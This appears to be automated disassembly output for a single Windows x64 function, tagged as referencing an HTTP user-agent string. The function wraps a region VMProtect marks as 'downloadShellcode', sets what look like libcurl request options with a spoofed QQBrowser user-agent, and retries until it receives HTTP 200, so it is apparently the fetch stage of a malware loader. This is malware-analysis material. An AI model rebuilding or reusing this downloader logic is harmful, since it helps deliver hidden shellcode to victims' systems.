Function at 0x140022620
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xc0
mov rax, qword [0x140119740]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov r13, rdx
mov r15, rcx
mov qword [rbp - 9], rcx
lea rcx, str.downloadShellcode
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBegin]
call fcn.140029180
mov rbx, rax
mov qword [rbp - 0x59], rax
xor r14d, r14d
mov qword [rbp - 0x51], r14
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x49], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov rdi, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x14002269a
mov rdi, qword [r15]
test rax, rax
jne 0x1400226ab
call fcn.140029180
mov rbx, rax
mov qword [rbp - 0x59], rax
mov r8, rdi
mov edx, 0x2712
mov rcx, rbx
call fcn.14002c390
test rbx, rbx
jne 0x1400226cc
call fcn.140029180
mov rbx, rax
mov qword [rbp - 0x59], rax
lea r8, [0x1400fefdc]
mov edx, 0x2734
mov rcx, rbx
call fcn.14002c390
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x71], xmm0
mov qword [rbp - 0x61], r14
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
mov r8d, 0xa4
lea rdx, str.user_agent:Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_70.0.3538.25_Safari_537.36_Core_1.70.3756.400_QQBrowser_10.5.4039.400_r_n
lea rcx, [rbp - 1]
call fcn.140004820
nop
lea r8, [rbp - 1]
xor edx, edx
lea rcx, [rbp - 0x71]
call fcn.140028bc0
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x14002275a
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022755
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400229d6
call fcn.1400ab300
mov rsi, r14
mov r12, qword [rbp - 0x69]
mov rdi, qword [rbp - 0x71]
sub r12, rdi
sar r12, 5
test r12, r12
jle 0x14002279e
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14002277e
mov rdx, qword [rdi]
mov rcx, rsi
call fcn.140029620
test rax, rax
je 0x14002291d
mov rsi, rax
inc r14
add rdi, 0x20
cmp r14, r12
jl 0x140022771
xor r14d, r14d
test rbx, rbx
jne 0x1400227ae
call fcn.140029180
mov rbx, rax
mov r8, rsi
mov edx, 0x2727
mov rcx, rbx
call fcn.14002c390
test rbx, rbx
jne 0x1400227cb
call fcn.140029180
mov rbx, rax
mov r8, r13
mov edx, 0x2711
mov rcx, rbx
call fcn.14002c390
test eax, eax
jne 0x140022800
test rbx, rbx
jne 0x1400227ec
call fcn.140029180
mov rbx, rax
lea r8, [0x14001e4b0]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.14002c390
test rbx, rbx
jne 0x14002280d
call fcn.140029180
mov rbx, rax
mov edx, 0x34
lea r8d, [rdx - 0x33]
mov rcx, rbx
call fcn.14002c390
test rbx, rbx
jne 0x14002282b
call fcn.140029180
mov rbx, rax
mov edx, 0x44
lea r8d, [rdx - 0x45]
mov rcx, rbx
call fcn.14002c390
mov dword [rbp - 0x79], r14d
mov edi, r14d
mov rax, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x140022851
mov rax, qword [r13]
mov qword [r13 + 0x10], r14
mov byte [rax], 0
test rbx, rbx
jne 0x140022865
call fcn.140029180
mov rbx, rax
mov rcx, rbx
call fcn.140029370
test rbx, rbx
jne 0x14002287a
call fcn.140029180
mov rbx, rax
lea r8, [rbp - 0x79]
mov edx, 0x200002
mov rcx, rbx
call fcn.140029150
cmp dword [rbp - 0x79], 0xc8
je 0x140022935
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 4
jl 0x140022843
lea rcx, [rbp - 0x71]
call fcn.14000c990
nop
test rbx, rbx
je 0x1400228ce
mov edx, 5
mov rcx, rbx
call fcn.1400291f0
mov rcx, rbx
call fcn.140029120
test rsi, rsi
je 0x1400228dc
mov rcx, rsi
call fcn.1400296c0
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140022916
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x140022911
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400229dc
mov rcx, r8
call fcn.1400ab300
xor al, al
jmp 0x14002299f
test rsi, rsi
je 0x14002292a
mov rcx, rsi
call fcn.1400296c0
xor r14d, r14d
mov esi, r14d
jmp 0x1400227a1
lea rcx, [rbp - 0x71]
call fcn.14000c990
nop
test rbx, rbx
je 0x140022959
mov edx, 5
mov rcx, rbx
call fcn.1400291f0
mov rcx, rbx
call fcn.140029120
test rsi, rsi
je 0x140022967
mov rcx, rsi
call fcn.1400296c0
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14002299d
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x140022998
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400229dc
mov rcx, r8
call fcn.1400ab300
mov al, 1
mov byte [r15], 0
mov qword [r15 + 0x18], reloc.WS2_32.dll_ntohs
mov qword [r15 + 0x10], r14
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.1400ab2e0
mov rbx, qword [rsp + 0x110]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400b5948
nop
call fcn.1400b5948
int3